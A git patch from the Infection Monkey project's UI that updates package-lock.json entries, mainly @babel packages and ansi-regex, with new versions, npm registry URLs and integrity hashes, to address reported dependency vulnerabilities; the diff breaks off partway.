"sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", "dev": true }, "ansi-styles": { @@ -13531,9 +13530,9 @@ } }, "ansi-regex": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", - "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", "dev": true }, "ansi-styles": { From 8cf8f931e12324b9826054ff717436f2eca6ae9e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 8 Oct 2021 12:05:38 +0200 Subject: [PATCH 361/454] UI: Update packages that caused vulnerabilites ansi-regex moderate vulnerabilities are still under review. --- monkey/monkey_island/cc/ui/package-lock.json | 6651 ++++++------------ monkey/monkey_island/cc/ui/package.json | 83 +- 2 files changed, 2287 insertions(+), 4447 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index f2cdbca3c..217ea7f4a 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -5,12 +5,12 @@ "requires": true, "dependencies": { "@babel/cli": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.15.4.tgz", - "integrity": "sha512-9RhhQ7tgKRcSO/jI3rNLxalLSk30cHqeM8bb+nGOJTyYBDpkoXw/A9QHZ2SYjlslAt4tr90pZQGIEobwWHSIDw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.15.7.tgz", + "integrity": "sha512-YW5wOprO2LzMjoWZ5ZG6jfbY9JnkDxuHDwvnrThnuYtByorova/I0HNXJedrUfwuXFQfYOjcqDA4PU3qlZGZjg==", "dev": true, "requires": { - "@nicolo-ribaudo/chokidar-2": "2.1.8-no-fsevents.2", + "@nicolo-ribaudo/chokidar-2": "2.1.8-no-fsevents.3", "chokidar": "^3.4.0", "commander": "^4.0.1", "convert-source-map": "^1.1.0", @@ -38,26 +38,26 @@ } }, "@babel/compat-data": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.13.15.tgz", - "integrity": "sha512-ltnibHKR1VnrU4ymHyQ/CXtNXI6yZC0oJThyW78Hft8XndANwi+9H+UIklBDraIjFEJzw8wmcM427oDd9KS5wA==", + "version": "7.15.0", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.15.0.tgz", + "integrity": "sha512-0NqAC1IJE0S0+lL1SWFMxMkz1pKCNCjI4tr2Zx4LJSXxCLAdr6KyArnY+sno5m3yH9g737ygOyPABDsnXkpxiA==", "dev": true }, "@babel/core": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.13.15.tgz", - "integrity": "sha512-6GXmNYeNjS2Uz+uls5jalOemgIhnTMeaXo+yBUA72kC2uX/8VW6XyhVIo2L8/q0goKQA3EVKx0KOQpVKSeWadQ==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.15.8.tgz", + "integrity": "sha512-3UG9dsxvYBMYwRv+gS41WKHno4K60/9GPy1CJaH6xy3Elq8CTtvtjT5R5jmNhXfCYLX2mTw+7/aq5ak/gOE0og==", "dev": true, "requires": { - "@babel/code-frame": "^7.12.13", - "@babel/generator": "^7.13.9", - "@babel/helper-compilation-targets": "^7.13.13", - "@babel/helper-module-transforms": "^7.13.14", - "@babel/helpers": "^7.13.10", - "@babel/parser": "^7.13.15", - "@babel/template": "^7.12.13", - "@babel/traverse": "^7.13.15", - "@babel/types": "^7.13.14", + "@babel/code-frame": "^7.15.8", + "@babel/generator": "^7.15.8", + "@babel/helper-compilation-targets": "^7.15.4", + "@babel/helper-module-transforms": "^7.15.8", + "@babel/helpers": "^7.15.4", + "@babel/parser": "^7.15.8", + "@babel/template": "^7.15.4", + "@babel/traverse": "^7.15.4", + "@babel/types": "^7.15.6", "convert-source-map": "^1.7.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", @@ -67,124 +67,115 @@ }, "dependencies": { "@babel/code-frame": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", - "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", + "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", "dev": true, "requires": { - "@babel/highlight": "^7.12.13" + "@babel/highlight": "^7.14.5" } }, "@babel/generator": { - "version": "7.13.9", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", - "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.15.8.tgz", + "integrity": "sha512-ECmAKstXbp1cvpTTZciZCgfOt6iN64lR0d+euv3UZisU5awfRawOvg07Utn/qBGuH4bRIEZKrA/4LzZyXhZr8g==", "dev": true, "requires": { - "@babel/types": "^7.13.0", + "@babel/types": "^7.15.6", "jsesc": "^2.5.1", "source-map": "^0.5.0" } }, "@babel/helper-function-name": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", - "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", + "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", "dev": true, "requires": { - "@babel/helper-get-function-arity": "^7.12.13", - "@babel/template": "^7.12.13", - "@babel/types": "^7.12.13" + "@babel/helper-get-function-arity": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/types": "^7.15.4" } }, "@babel/helper-get-function-arity": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", - "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", + "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", "dev": true, "requires": { - "@babel/types": "^7.12.13" + "@babel/types": "^7.15.4" } }, "@babel/helper-split-export-declaration": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", - "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", + "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", "dev": true, "requires": { - "@babel/types": "^7.12.13" + "@babel/types": "^7.15.4" } }, "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/highlight": { - "version": "7.13.10", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", - "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", + "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", + "@babel/helper-validator-identifier": "^7.14.5", "chalk": "^2.0.0", "js-tokens": "^4.0.0" } }, "@babel/parser": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", - "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", + "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", "dev": true }, "@babel/template": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", - "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", + "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", "dev": true, "requires": { - "@babel/code-frame": "^7.12.13", - "@babel/parser": "^7.12.13", - "@babel/types": "^7.12.13" + "@babel/code-frame": "^7.14.5", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4" } }, "@babel/traverse": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", - "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.15.4.tgz", + "integrity": "sha512-W6lQD8l4rUbQR/vYgSuCAE75ADyyQvOpFVsvPPdkhf6lATXAsQIG9YdtOcu8BB1dZ0LKu+Zo3c1wEcbKeuhdlA==", "dev": true, "requires": { - "@babel/code-frame": "^7.12.13", - "@babel/generator": "^7.13.9", - "@babel/helper-function-name": "^7.12.13", - "@babel/helper-split-export-declaration": "^7.12.13", - "@babel/parser": "^7.13.15", - "@babel/types": "^7.13.14", + "@babel/code-frame": "^7.14.5", + "@babel/generator": "^7.15.4", + "@babel/helper-function-name": "^7.15.4", + "@babel/helper-hoist-variables": "^7.15.4", + "@babel/helper-split-export-declaration": "^7.15.4", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4", "debug": "^4.1.0", "globals": "^11.1.0" } }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } }, - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, "json5": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz", @@ -194,12 +185,6 @@ "minimist": "^1.2.5" } }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, "semver": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", @@ -221,71 +206,69 @@ } }, "@babel/helper-annotate-as-pure": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.12.13.tgz", - "integrity": "sha512-7YXfX5wQ5aYM/BOlbSccHDbuXXFPxeoUmfWtz8le2yTkTZc+BxsiEnENFoi2SlmA8ewDkG2LgIMIVzzn2h8kfw==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.15.4.tgz", + "integrity": "sha512-QwrtdNvUNsPCj2lfNQacsGSQvGX8ee1ttrBrcozUP2Sv/jylewBP/8QFe6ZkBsC8T/GYWonNAWJV4aRR9AL2DA==", "dev": true, "requires": { - "@babel/types": "^7.12.13" + "@babel/types": "^7.15.4" }, "dependencies": { "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } } } }, "@babel/helper-builder-binary-assignment-operator-visitor": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.12.13.tgz", - "integrity": "sha512-CZOv9tGphhDRlVjVkAgm8Nhklm9RzSmWpX2my+t7Ua/KT616pEzXsQCjinzvkRvHWJ9itO4f296efroX23XCMA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.15.4.tgz", + "integrity": "sha512-P8o7JP2Mzi0SdC6eWr1zF+AEYvrsZa7GSY1lTayjF5XJhVH0kjLYUZPvTMflP7tBgZoe9gIhTa60QwFpqh/E0Q==", "dev": true, "requires": { - "@babel/helper-explode-assignable-expression": "^7.12.13", - "@babel/types": "^7.12.13" + "@babel/helper-explode-assignable-expression": "^7.15.4", + "@babel/types": "^7.15.4" }, "dependencies": { "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } } } }, "@babel/helper-compilation-targets": { - "version": "7.13.13", - "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.13.13.tgz", - "integrity": "sha512-q1kcdHNZehBwD9jYPh3WyXcsFERi39X4I59I3NadciWtNDyZ6x+GboOxncFK0kXlKIv6BJm5acncehXWUjWQMQ==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.15.4.tgz", + "integrity": "sha512-rMWPCirulnPSe4d+gwdWXLfAXTTBj8M3guAf5xFQJ0nvFY7tfNAFnWdqaHegHlgDZOCT4qvhF3BYlSJag8yhqQ==", "dev": true, "requires": { - "@babel/compat-data": "^7.13.12", - "@babel/helper-validator-option": "^7.12.17", - "browserslist": "^4.14.5", + "@babel/compat-data": "^7.15.0", + "@babel/helper-validator-option": "^7.14.5", + "browserslist": "^4.16.6", "semver": "^6.3.0" }, "dependencies": { @@ -298,117 +281,117 @@ } }, "@babel/helper-create-class-features-plugin": { - "version": "7.13.11", - "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.13.11.tgz", - "integrity": "sha512-ays0I7XYq9xbjCSvT+EvysLgfc3tOkwCULHjrnscGT3A9qD4sk3wXnJ3of0MAWsWGjdinFvajHU2smYuqXKMrw==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.15.4.tgz", + "integrity": "sha512-7ZmzFi+DwJx6A7mHRwbuucEYpyBwmh2Ca0RvI6z2+WLZYCqV0JOaLb+u0zbtmDicebgKBZgqbYfLaKNqSgv5Pw==", "dev": true, "requires": { - "@babel/helper-function-name": "^7.12.13", - "@babel/helper-member-expression-to-functions": "^7.13.0", - "@babel/helper-optimise-call-expression": "^7.12.13", - "@babel/helper-replace-supers": "^7.13.0", - "@babel/helper-split-export-declaration": "^7.12.13" + "@babel/helper-annotate-as-pure": "^7.15.4", + "@babel/helper-function-name": "^7.15.4", + "@babel/helper-member-expression-to-functions": "^7.15.4", + "@babel/helper-optimise-call-expression": "^7.15.4", + "@babel/helper-replace-supers": "^7.15.4", + "@babel/helper-split-export-declaration": "^7.15.4" }, "dependencies": { "@babel/code-frame": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", - "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", + "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", "dev": true, "requires": { - "@babel/highlight": "^7.12.13" + "@babel/highlight": "^7.14.5" } }, "@babel/helper-function-name": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", - "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", + "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", "dev": true, "requires": { - "@babel/helper-get-function-arity": "^7.12.13", - "@babel/template": "^7.12.13", - "@babel/types": "^7.12.13" + "@babel/helper-get-function-arity": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/types": "^7.15.4" } }, "@babel/helper-get-function-arity": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", - "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", + "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", "dev": true, "requires": { - "@babel/types": "^7.12.13" + "@babel/types": "^7.15.4" } }, "@babel/helper-split-export-declaration": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", - "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", + "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", "dev": true, "requires": { - "@babel/types": "^7.12.13" + "@babel/types": "^7.15.4" } }, "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/highlight": { - "version": "7.13.10", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", - "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", + "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", + "@babel/helper-validator-identifier": "^7.14.5", "chalk": "^2.0.0", "js-tokens": "^4.0.0" } }, "@babel/parser": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", - "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", + "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", "dev": true }, "@babel/template": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", - "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", + "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", "dev": true, "requires": { - "@babel/code-frame": "^7.12.13", - "@babel/parser": "^7.12.13", - "@babel/types": "^7.12.13" + "@babel/code-frame": "^7.14.5", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4" } }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } } } }, "@babel/helper-create-regexp-features-plugin": { - "version": "7.12.17", - "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.12.17.tgz", - "integrity": "sha512-p2VGmBu9oefLZ2nQpgnEnG0ZlRPvL8gAGvPUMQwUdaE8k49rOMuZpOwdQoy5qJf6K8jL3bcAMhVUlHAjIgJHUg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.14.5.tgz", + "integrity": "sha512-TLawwqpOErY2HhWbGJ2nZT5wSkR192QpN+nBg1THfBfftrlvOh+WbhrxXCH4q4xJ9Gl16BGPR/48JA+Ryiho/A==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.12.13", + "@babel/helper-annotate-as-pure": "^7.14.5", "regexpu-core": "^4.7.1" } }, "@babel/helper-define-polyfill-provider": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.2.0.tgz", - "integrity": "sha512-JT8tHuFjKBo8NnaUbblz7mIu1nnvUDiHVjXXkulZULyidvo/7P6TY7+YqpV37IfF+KUFxmlK04elKtGKXaiVgw==", + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.2.3.tgz", + "integrity": "sha512-RH3QDAfRMzj7+0Nqu5oqgO5q9mFtQEVvCRsi8qCEfzLR9p2BHfn5FzhSB2oj1fF7I2+DcTORkYaQ6aTR9Cofew==", "dev": true, "requires": { "@babel/helper-compilation-targets": "^7.13.0", @@ -422,130 +405,115 @@ }, "dependencies": { 